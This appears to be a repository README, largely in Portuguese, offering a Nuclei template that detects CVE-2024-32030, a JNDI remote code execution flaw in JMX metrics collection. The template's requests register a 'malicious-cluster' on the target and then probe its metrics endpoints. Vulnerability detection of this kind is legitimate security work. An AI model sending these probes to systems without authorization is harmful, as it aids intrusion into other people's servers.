huseyinstif/cve-2024-32030-nuclei-templateModelo Nuclei para detectar a vulnerabilidade de execução remota de código JMX JNDI CVE-2024-32030 via conexão a servidor malicioso.
Este repositório contém um template Nuclei para detectar a vulnerabilidade CVE-2024-32030. Esta vulnerabilidade permite a execução remota de código via resolução JNDI na coleta de métricas JMX.
id: CVE-2024-32030
info:
name: CVE-2024-32030 JMX Metrics Collection JNDI RCE
author: Hüseyin TINTAŞ
severity: critical
description: >
CVE-2024-32030 JMX Metrics Collection JNDI Resolution Remote Code Execution Vulnerability.
This template checks for the presence of the vulnerability by attempting to connect to a malicious JMX server.
tags: cve, cve2024, jmx, rce, cve2024-32030
requests:
- method: POST
path:
- "{{BaseURL}}/api/clusters"
headers:
Content-Type: "application/json"
body: |
{
"name": "malicious-cluster",
"bootstrapServers": ["127.0.0.1:1718"],
"metrics": {
"type": "JMX",
"port": 1718
}
}
matchers:
- type: word
part: body
words:
- "malicious-cluster added successfully"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster"
matchers:
- type: word
part: body
words:
- "malicious-cluster"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster/metrics"
matchers:
- type: word
part: body
words:
- "metrics"
Para usar este template, salve-o como cve-2024-32030.yaml e execute-o com o Nuclei:
nuclei -t CVE-2024-32030.yaml -u http://target-server
Para quaisquer dúvidas ou mais informações, você pode entrar em contato comigo através de: